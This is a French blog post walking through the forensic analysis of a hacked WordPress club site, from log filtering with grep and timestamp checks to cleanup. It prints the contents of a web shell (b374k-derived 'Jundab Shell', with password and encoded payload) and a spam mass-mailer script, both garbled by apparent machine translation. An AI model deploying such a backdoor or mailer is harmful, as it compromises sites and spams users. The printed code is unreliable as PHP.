Comment savoir si mon site wordpress est piraté [update 2021]

Des adresses bizarres qui défilent dans le champ d’URL quand on charge le site, des utilisateurs outragés qui préviennent que votre site envoie en votre nom des réclames pour des petites pilules roses, et comble de l’infamie : Google qui mentionne en-dessous du nom de votre site “Il est possible que ce site ait été piraté“. Oui, piraté…

Cela m’est arrivé récemment sur le site d’un client…

Une fois franchie les sept étapes du deuil, du choc et du déni (pourquoi moi ?) jusqu’à l’acceptation en passant par le marchandage (c’est sûrement un des admins qui a un mot de passe de m***…), il convient de rentrer dans l’action afin de résoudre le problème.

Remarque : l’exemple présenté est réaliste mais a été manipulé afin d’en faciliter l’explication. Reste que la méthode proposée est tout à fait utilisable…

1ère étape : ne pas le prendre personnellement…

Pourquoi ce site a-t’il été visé ? Ce n’est que le site d’un petit club sportif local, dirigé par des volontaires…

Non, le pirate ne vous visait pas personnellement. Le pirate n’a même sans doute pas conscience de l’existence de ce club ! La seule chose qu’il fait, c’est de lancer un script automatisé qui parcourt le web à la recherche de faiblesses dans les sites. Et quand il en trouve un, il y installe des scripts qui peuvent d’un manière ou d’une autre générer un profit pour le pirate. La seule chose qui préoccupe ce pirate, c’est le nombre de sites ainsi exploités, pas qui est derrière ce site…

2éme étape : ne toucher à rien

Considérez le site comme la scène d’un crime. Toute action irréfléchie pourrait détruire des traces qui vous seraient utiles afin de reconstituer ce qui s’est passé.

Afin de limiter la propagation du problème, placez votre site en mode “maintenance”.

3éme étape : agissez rapidement

Vous allez avoir besoin des logs (principalement celui du serveur), et les hébergeurs ne conservent pas ces logs éternellement !

Récupérez auprès de votre hébergeur le log d’accès au serveur (Apache, Nginx, …). Vous devriez en trouver un lien d’accès dans la partie administration de votre compte chez l’hébergeur. Sinon, faites appel au support.

4éme étape : trouver l’exploit

Dans notre analyse, nous devons trouver deux réponses:

Comment le code malicieux a été déposé sur notre serveur ou dans la base de données : cela nous permettra de patcher le problème
Quel est ce code malicieux et où se trouve-t’il : afin de pouvoir l’enlever

Notre analyse se basera sur l’examen des logs, puisque ceux-ci conservent toutes les traces des accès au serveur.

Les transactions POST

Une fois le log du serveur téléchargé en local, nous allons y rechercher des transactions en POST, car cette méthode est la plus utilisée. Vous remarquerez que votre log contient des milliers, voir des dizaines de milliers de ligne. Pour travailler rapidement et efficacement, nous allons donc utiliser notre console et l’outil “grep” pour parser le texte du log. Utilisons également la commande wordcount (wc) avec l’argument -l pour compter le nombre de lignes.

grep POST access_log | wc -l

Résultat : 32.158 lignes

Avec un tel nombre de lignes, il est difficile de les examiner à l’œil nu afin de détecter des anomalies. D’autant plus que la grande majorité des requêtes POST présentes seront absolument légitimes.

Pour éliminer ces requêtes légitimes, nous allons utiliser grep avec l’argument -v afin d’exclure ce qui pourrait à priori sembler “normal” et finalement ne conserver que les requêtes ayant abouti (code HTTP 200).

grep POST access_log | grep -v xmlrpc.php | grep -v /contact/ | grep -v wp-login.php | grep -v /wp-cron.php | grep -v /wp-admin/admin-ajax.php | grep -v /wp-admin/update-core.php | grep -v /wp-admin/nav-menus.php | grep -v /?wordfence | grep -v /wp-comments-post.php | grep "200"

Ce qui nous donne maintenant à 12 lignes. Bien que tous les exploits n’utilisent pas les données POST, la majorité écrasante le fait certainement. Avec une commande, nous avons réduit le nombre de lignes à enquêter de 32.158 à 12, ce qui est beaucoup plus facile à gérer. Examinons maintenant ces 12 lignes :

xxx . xxx . xxx . xxx - - [ 07 / May / 2019 : 19 : 09 : 16 + 1000 ] "POST / HTTP / 1.1" 200 51033 "http://www.demosite.com/" "Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit / 601.5.17 (KHTML, comme Gecko) Version / 9.1 Safari / 601.5.17 " 
xxx . xxx . xxx . xxx - - [ 08 / mai / 2019 : 17 :          26 : 45 + 1000 ] "POST /? Page_id = 489 & vc_editable = true & vc_post_id = 489 HTTP / 1.1" 200 10636 "http://www.demosite.com/wp-admin/post.php?vc_action=vc_inline&post_id=489&post_type=page" "Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit / 601.5.17 (KHTML, comme Gecko) Version / 9.1 Safari / 601.5.17" 
xxx . xxx . xxx . xxx - - [ 08 / May / 2019 : 17 : 37 : 49 + 1000 ] "POST / HTTP / 1.1"             "http://www.demosite.com/wp-admin/customize.php?theme=twentytwelve&return=%2Fwp-admin%2Fthemes.php" "Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit / 601.5.17 (KHTML, comme Gecko) Version / 9.1 Safari / 601.5.17 " 
xxx . xxx . xxx . xxx - - [ 08 / May / 2019 : 17 : 44 : 59 + 1000 ] "POST / HTTP / 1.1" 200 95121 "http://www.demosite.com/wp-admin/customize.php?url=http% 3A% 2F% 2Fwww.demosite.com% 2F "         "Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit / 601.5.17 (KHTML, comme Gecko) Version / 9.1 Safari / 601.5.17" 
xxx . xxx . xxx . xxx - - [ 08 / May / 2019 : 17 : 45 : 43 + 1000 ] "POST / HTTP / 1.1" 200 97871 "http://www.demosite.com/wp-admin/customize.php?autofocus%5Bpanel% 5D = nav_menus & return =% 2Fwp-admin% 2Fnav-menus.php " " Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit / 601.5.17 (KHTML, comme Gecko) Version / 9.1 Safari / 601.5.17 " 
xxx . xxx . xxx . xxx - - [ 08 / May / 2019 : 17 : 45 : 53 + 1000 ] "POST / HTTP / 1.1" 200 102716 "http://www.demosite.com/wp-admin/customize.php?autofocus%5Bpanel% 5D = nav_menus & return =% 2Fwp-admin% 2Fnav-menus.php " " Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit / 601.5.17 (KHTML, comme Gecko) Version / 9.1 Safari / 601.5.17 " 
xxx . xxx . xxx . xxx - - [ 08 / mai / 2019 : 17 : 46 : 07 + 1000 ] "POST / HTTP / 1.1" 200 102745 "http://www.demosite.com/wp-admin/customize.php?autofocus%5Bpanel%5D=nav_menus&return=%2Fwp-admin% 2Fnav-menus.php " " Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit / 601.5.17 (KHTML, comme Gecko) Version / 9.1 Safari / 601.5.17 " 
xxx . xxx . xxx . xxx - - [ 08 / May / 2019 : 17 : 46 : 31 + 1000 ] "POST / HTTP / 1.1" 200            102745 "http://www.demosite.com/wp-admin/customize.php?autofocus%5Bpanel%5D=nav_menus&return=%2Fwp-admin%2Fnav-menus.php" "Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit / 601.5.17 (KHTML, comme Gecko) Version / 9.1 Safari / 601.5.17 " 
xxx . xxx . xxx . xxx - - [ 08 / May / 2019  : 17 : 46 : 39 + 1000 ] "POST / HTTP / 1.1" 200 102745 "http://www.demosite.com/wp-admin/customize.php?autofocus%5Bpanel% 5D = nav_menus & return =% 2Fwp-admin% 2Fnav-menus.php "          "Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit / 601.5.17 (KHTML, comme Gecko) Version / 9.1 Safari / 601.5.17" 
xxx . xxx . xxx . xxx - - [ 08 / May / 2019 : 17 : 46 : 48 + 1000 ] "POST / HTTP / 1.1" 200 5134 "-" "Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit / 601.5.17 (KHTML , comme Gecko) Version / 9.1 Safari / 601.5.17 " 
xxx . xxx . xxx . xxx - - [ 09 / mai / 2019 : 03 : 50 : 45 + 1000 ] "POST /wp-admin/jundab.php?dir=/var/www/vhosts/demosite.com/httpdocs/wp-admin/js/ HTTP / 1.1" 200 114873 "http://demosite.com/wp-admin/jundab.php?dir=/var/www/vhosts/demosite.com/httpdocs/wp-admin/js/" "Mozilla / 5.0 (Windows NT 6.3; WOW64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 49.0.2623.112 Safari / 537.36 " 
xxx . xxx . xxx . xxx - - [ 09 / mai / 2019 : 03 : 56 : 17 + 1000 ] "POST /wp-admin/js/unix.php HTTP / 1.1" 200 6420 "http://www.demosite.com/wp-admin/js/unix.php" "Mozilla / 5.0 ( WOW64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 49.0.2623.112 Safari / 537.36 "

(certaines données ont été caviardées pour des raisons de confidentialité)

Un simple examen visuel permet d’isoler deux requêtes qui ne semblent pas légitimes :

xxx . xxx . xxx . xxx - - [ 09 / mai / 2019 : 03 : 50 : 45 + 1000 ] "POST /wp-admin/jundab.php?dir=/var/www/vhosts/demosite.com/httpdocs/wp-admin/js/ HTTP / 1.1" 200 114873 "http://demosite.com/wp-admin/jundab.php?dir=/var/www/vhosts/demosite.com/httpdocs/wp-admin/js/" "Mozilla / 5.0 (Windows NT 6.3; WOW64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 49.0.2623.112 Safari / 537.36 " 
xxx . xxx . xxx . xxx - - [ 09 / mai / 2019 : 03 : 56 : 17 + 1000 ] "POST /wp-admin/js/unix.php HTTP / 1.1" 200 6420 "http://www.demosite.com/wp-admin/js/unix.php" "Mozilla / 5.0 ( WOW64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 49.0.2623.112 Safari / 537.36 "

Les fichiers bizarres

Des fichiers nommés “jundab.php” et “unix.php” dans un répertoire Javascript n’est certainement pas typique de WordPress. Récupérons le premier fichier “jundab.php” par SFTP et examinons son contenu :

<? php
 // // devilzShell <[php]> // ^^^^^^^^^^^^ // auteur: b374k // salue: devilzc0der et tous ceux qui aiment la paix et la liberté // / / // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^ // Jayalah Indonesiaku 
$ shell_name = "Jundab Shell" ; 
$ shell_fake_name = "Système de journalisation du serveur" ; 
$ shell_title = "::" . $ shell_name . "::" ; 
$ shell_version = "v1" ; 
$ shell_password =









     "justy" ; 
$ shell_fav_port = "12345" ; 
$ shell_color = "# 374374" ; 
$ shell_code =   "eNrsvQmzo0iSIPxXmJzaraxVdYIQkqCqa6a5QQLEIUAwM1bGDeKSOIVq579vIL338mV2VnXvzKzt95mtylpPRLh7ePjtQUL / + Z8v6QX67mbUcTd6TQT9AnVNVn5Moi6qho8fDFa3WP1X48AdbVJnP / zww88z9NR2UfkKCyj82ldeGX18mY2aIWpEFcx / 9 + + uTwL 8EiIZRv / wbzMUXWRR1X0J9b3Oyocj + 4D6 / gElRF4YNTPMG4ufPvzZbyD4nz58emXkdeS5MCSqP0F / bi9eBQWF17a // OuHxOuLf / 3WT / 8C / Rmex5 + oL1wC5G / BQV / 2AvvfK7 + 9 / Pz + 26n7v3eR103 + RUU + gL1mQV2BjX7ILOqgj8ieT2oSfBTDTFkzAb + o + ZLUaNKZ / 8Y4TKTzKJwXrGbpGFqjuoEmpqbT / HXbCBTSjBBWZiNnW6VqlKJw8TRj1BgsG / i90IqleJiodMceTease7LIno85liic2HfUaAQOHlEp4VHJRPN0tu8xiMXyO5UjfVZmIro82WPiy3VzuFz6st / 312bT4LpbVudbgWc6IqDMPd4fkZXQWlJqLQ5DhDUBfsux3uluUEgLCa8JAWyEZH8dXYo40yS71atR4nU8Ffxsv4Y97U4HNMKp8KJHHR7bqzd0cVlixt46 + pyYqaG4haMMqiUCH9OS7HB / WB22Dk604oAS + f1wMQZW0bFlYTDLXYpQmhTxMX6 + rjyi8qaoO6F7K42jzsP5Eqn6MREgZMGJR + OW3NWkK1da2q6v + iJP4usoOnxi9ccy3yCseoUv2IhSiJTz60WxFddmuKLMtqaoIkB61jp4uW1Cw02W9sqVxC0sQBrXnlykuPsiKhPN8aLEe2ahZ6S1kE9ElNEtsZgsNAqk3AvUxDOHQLkFfW8LNqEmDQrdtF3E94TZbp3qfJE9rmVRjj keKgs0QIjjPPZ5Gssd0Z2jd1W0dVexadid2680ZAHSVVwv + / E7CsHT6QIlnjN6YsIdd2cWKdbFaoxJSw9FBbtqR / wIh2m39jv / SlwsHS52HGsCPlKOiCvbvN984ob3RDoG1tY9HyBm2Qgn / UaUajLUyi2 / nsvjuK9Ok1xYCdkFtz6gJ3n0TLlakICVOyUo2XBdPUyaLbhjbvRaSdOzI / jJH7oBKc9fzNMNKHsv2fA8sHt1g1LJSVK87L0K9okN7tgkC8kuRkSjV / Jh5aDqRsrEZExIjcRvjuKkUd0pwYMTw7QO n5NO6L4y8zKjfKCHPrlg4gWvYPeli5vJqqgIC5fDFKZLBitPnv2 + + uwLVu4aJB6siru0UgYH7YqQXtdqguy / wOXXBRTyRe etMGzsd5jMIUuiz6kqc6xi37PP36nQRmeJZo6ezw3ifRlvkbtJXJhtMsWLJqARRGRd3PoAEQkAo6CyjoDxLuPKo1j63lQEBc + / + o 5gka1IAhheT117OfhZcpMY8vKCB2DWAGYduyXXQZ59W4sMkmimGxvmmrOYVqGfRPoAbOO0ooag0hLVoOqQJ / pgSlPw97IHXLor15ct5LI / PnGgNySUy11B7IMlkbq8Ps0LgBWLkHtevyEXyOUwkTNyFpXW5APij23fdyEkzVssb4WffR7cG 1TV + / + p6nAPj cuW3XxeLECJs4dayJ7l + BNSHCDd0lqRU1QN6WJzqRu6ySlA2DuTo4zjUldPS50x6Tx54ebiZmS955XBL9eFs9JqtwT4dHoPhd0SAgMvKzy2meyzPNlVs2BHMF5sXJso999SUJYDWY3j3qAeGhVpaoTc027yV2ItFm13Mqizj65711aQPZ1nT8GSichbmHfSapnOH4ix9tDuMmDEJ2cv2oW + HGSfKv9iTHwZszCwSLunxcEBtggMuBazMQvQJJPo9GGDkEjXl3nFp2CV1l8pxR4IGHCVAKMknt6SVeHsu3 + / + u + gTuK5 35X0NRTw1v0 / 6mtfuxpEZ0AzpdKGtl6IzK0Iql3vT0 / kp08tUwBcO6dd5Uy3h03ttdc5YKioDIR + eZPJdQYMz0AzVZs8ZfNw4IeaH0KeuUDd / G / 46

Là il ne faut pas être un spécialiste en sécurité pour constater que ce fichier ne fait pas partie d’une distro WordPress normale, ni d’un plugin ! Ce script installe un shell dans votre système, ouvrant ainsi une porte dérobée derrière votre site. Un shell permet d’exécuter des commandes comme installer des fichiers ou changer des permissions.

Quant au fichier “unix.php”, voici son contenu :

<? if ( $ action == "send" ) { if (! $ from && ! $ subject && ! $ message && ! $ emaillist ) { print "Veuillez remplir tous les champs avant d'envoyer votre message." ; sortir ; } 
  $ allemails = split ( "\ n" , $ emaillist ); 
  $ numemails = count ( $ allemails ); 
  $ filter = "maillist" ; 
  $ float =
 "De: mailist info <full@info.com>" ; // Ouvre le fichier joint s'il y en a un et encodez base64 pour le transport de courrier électronique Si ( $ nom_fichier ) { if (! File_exists ( $ fichier )) { die ( "Le fichier que vous essayez de télécharger n'a pas pu être copié sur le serveur" ) } 
   $ content = fread ( fopen ( $ fichier , "r" ), taille du fichier ( $ fichier )); 
   $ content = chunk_split ( base64_encode ( $ content ));
 $ uid = strtoupper ( md5 ( uniqid ( time ()))); 
   $ name = nom de base ( $ fichier ); } pour ( $ xx = 0 ; $ xx < $ montant ; $ xx ++) { pour ( $ x = 0 ; $ x < $ numemails ; $ x ++) { 
    $ à = $ allemails [ $ x ]; si ( $ à ) { 
      $ à
 = ereg_replace ( "" , "" , $ to ); 
      $ message = ereg_replace ( "& email &" , $ to , $ message ); 
      $ subject = ereg_replace ( "& email &" , $ to , $ subject ); print "Envoi de courrier à $ to ......." ; 
      affleurant (); 
      $ header = "De: $ realname <$ from> \ r \ nReply-To: $ replyto \ r \ n" ; 
      $ header . = "MIME-Version: 1. 
         
      If ( $ nom_fichier ) $ header . = "Type de contenu: multipart / mixed; boundary = $ uid \ r \ n" ; Si ( $ nom_fichier ) $ en-tête . = "- $ uid \ r \ n" ; 
      $ header . = "Type de contenu: texte / $ type de contenu \ r \ n" ; 
      $ header . = "Codage de transfert de contenu: 8 bits \ r \ n \ r \ n" ; 
      $ header . = "$ message \ r \ n" ; Si ( $ nom_fichier ) $ en-tête . = "- $ uid \ r \ n" ;  
    . = "Type de contenu: $ type_fichier; nom = \" $ nom_fichier \ "\ r \ n" ; If ( $ nom_fichier ) $ header . = "Codage de transfert de contenu: base64 \ r \ n" ; If ( $ nom_fichier ) $ header . = "Contenu-Disposition: attachment; nomfichier = \" $ nom_fichier \ "\ r \ n \ r \ n" ; Si ( $ nom_fichier ) $ en-tête . = "$ Contenu \ r \ n" ; Si ( $ nom_fichier ) $ en-tête . = "- $ uid--" ; 
      mail ( $ à , 
      "" , $ en-tête ); affiche "ok <br>" ; 
      affleurant (); } } } } ....

Assez évidement, il apparaît être utilisé à envoyer du spam.

Nous connaissons maintenant les fichiers initialement installés par le pirate. Reste à comprendre comment l’attaque a eu lieu…

5éme étape : l’analyse des causes (Root Cause Analysis ou RCA)

La clef de cette étape va être l’horodatage des fichiers pirates.

ls - l jundab . php
 - rw - r - r - 1 groupe d 'utilisateurs 26201 9 mai 03 : 43 jundab . php

Nous permet de constater que ce fichier a été placé sur le serveur le 9 mai à 03h43. Cette date étant parfois manipulée par les pirates, vérifions avec la date de création.

ls - lc jundab . php
 - rw - r - r - 1 groupe d 'utilisateurs 26201 9 mai 03 : 43 jundab . php

Cela nous donne un horodatage du moment où le fichier a été téléchargé sur le site Web (9 mai 03h43), ce qui, espérons-le, nous mènera à la cause fondamentale. Nous pouvons en tout cas analyser à nouveau les journaux d’accès pour voir ce que nous pouvons trouver à ce moment-là.

grep "\ [09 / May / 2016: 03: 43 access_log

Ce qui nous donne les trois requêtes suivantes :

xxx . xxx . xxx . xxx - - [ 09 / mai / 2019 : 03 : 43 : 22 + 1000 ] "POST //? gf_page = upload HTTP / 1.1" 200 554 "-" "Mozilla / 5.0 (X11; Linux x86_64) AppleWebKit / 537.31 (KHTML , comme Gecko) Chrome / 26.0.1410.63 Safari / 537.31 " 
xxx . xxx . xxx . xxx - - [ 09 / mai / 2019 : 03 : 43          : 25 + 1000 ] "POST //? gf_page = upload HTTP / 1.1" 200 553 "-" "Mozilla / 5.0 (X11; Linux x86_64) AppleWebKit / 537.31 (KHTML, comme Gecko) Chrome / 26.0.1410.63 Safari / 537.31" 
xxx . xxx . xxx . xxx - - [ 09 / mai / 2019 : 03 : 43 : 26 + 1000 ] "POST //? gf_page = upload HTTP / 1.1" 200 538 "-" "Mozilla / 5.0 (Windows NT 6.1) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 37.0.2062.103 Safari / 537.

Une recherche sur Google avec “wordpress gf_page” (l’argument de la requête POST) nous donne en première ligne : “Malware Cleanup to Arbitrary File Upload in Gravity Forms – Sucuri Blog“. Et nous avons trouvé notre cause première de l’infection : à savoir un plugin “Gravity Forms” qui n’avais pas été mis à jour…

Quelques autres pistes…

Si vous êtes parvenu à ce point et que vous n’avez trouvé aucun résultat, vous avez encore quelques possibilités. La première consiste à vérifier vos journaux FTP. Encore une fois, l’horodatage est la clé ici. Si le contrôle des journaux FTP échouent, l’étape suivante consiste à vérifier les journaux de votre panneau de contrôle d’hébergement. Si vous êtes sur l’hébergement partagé, vous devrez peut-être demander de l’aide à votre hôte. Moins de 2% des tentatives de piratage se font via FTP / panneau de configuration.

Cependant, cela signifie alors que vous avez l’un des deux problèmes. Le premier est que vous aviez un mot de passe faible et que le pirate a pu le deviner soit par l’action du social engineering, soit par force brute. La seconde signifie que vous avez probablement une forme de malware sur votre ordinateur et qu’un site Web piraté pourrait tout simplement être la partie visible de l’iceberg. À ce stade, il est essentiel de faire appel à un professionnel de l’informatique ou de désinfecter son ordinateur si vous en avez les compétences.

6éme étape : le nettoyage

Maintenant que notre site n’est plus sensible à une infection, le moyen le plus simple de nettoyer un site exploité consiste à installer une sauvegarde d’une date antérieure à l’exploit. Les sauvegardes sont critiques. Si vous disposez de suffisamment d’espace, faites-en de préférence plus que trop peu. C’est de loin le moyen le plus efficace de corriger les problèmes de votre site web s’il a été infecté.

Si vous ne disposez pas de sauvegardes et que vous devez corriger le problème manuellement, soyez prêt à faire face à des heures de travail et à des attentes nerveuses après vous demander si vous avez tout compris. Cela a été mon cas dans l’exemple mentionné du club sportif local…

Les fichiers malveillants

La première chose à faire est alors de supprimer tous les fichiers malveillants. Dans notre exemple, il s’agit des fichiers «jundab.php» et «unix.php». Cependant, ces fichiers ne sont peut-être pas les seuls : le pirate en a peut-être installé d’autres en utilisant l’accès de son “shell”. Vous pouvez parcourir votre site avec des outils tels que “find” en console pour déterminer les heures de modification et de création de tous les autres fichiers à inspecter, ou vous pouvez installer un plugin de sécurité tel que WordFence ou Sucuri Scanner , capable de détecter les modifications dans les fichiers principaux de WordPress, ainsi que de détecter d’autres fichiers malveillants, ne faisant pas partie de la distro officielle de WordPress. J’avais, dans mon cas, installé WordFence avec succès.

Fixer la brèche dans votre site

Après avoir éliminé les fichiers malveillants (l’ordre des actions est important : le site peut être ré-infecté en quelques minutes…), supprimez ou mettez à jour le plugin trop ancien.

Vérifier les autres changements

Les pirates peuvent être très créatifs à cet égard et avoir utilisé plusieurs porte d’accès autres que des fichiers… Auditez vos utilisateurs (WordFence le fait très bien), ainsi que les modifications apportées aux mots de passe : recherchez des utilisateurs inconnus ou au comportement suspect (comme des tentative d’accéder à des fichiers avec lesquels ils n’ont rien en commun). En cas de doute, réinitialisez tous les mots de passe. Vous devez être vigilant ici, sinon tous vos efforts précédents pourraient être vains.

Ensuite, vérifiez le serveur cron (vos tâches planifiées) dans votre panneau de contrôle (par exemple : cPanel ou Plesk) pour rechercher d’éventuelles entrées malveillantes. Encore une fois, des recherches ont démontré que des pirates informatiques (qui possédaient les informations de connexion du panneau de configuration) réinfectent automatiquement votre site de manière planifiée. Intelligent, mais très énervant!

Se faire retirer des listes noires

Si Google (ou un autre moteur de recherche) vous avait signalé que “Il est possible que ce site ait été piraté” (voir le début de l’article), il convient de demander à Google de reconsidérer sa position. Chez Google, cela se fait au moyen de la “Google Search Console” dans les instruments pour webmestre. La procédure peut durer plusieurs jours.

Dernière étape : prévention

Enfin, vous pouvez prendre des mesures afin de limiter les accès non-voulus à votre site WordPress. Le web regorge d’articles à ce propos, et un bon point de départ est : https://wordpress.org/support/article/hardening-wordpress/.

Conclusion

L’exemple utilisé ici a été inspiré par https://www.conetix.com.au, J’espère qu’il a pu vous donner un aperçu de la manière dont les pirates informatiques ont pu accéder à votre site et, surtout, de la marche à suivre pour y mettre un terme.

N’hésitez pas à me contacter si vous avez des questions ou des remarques !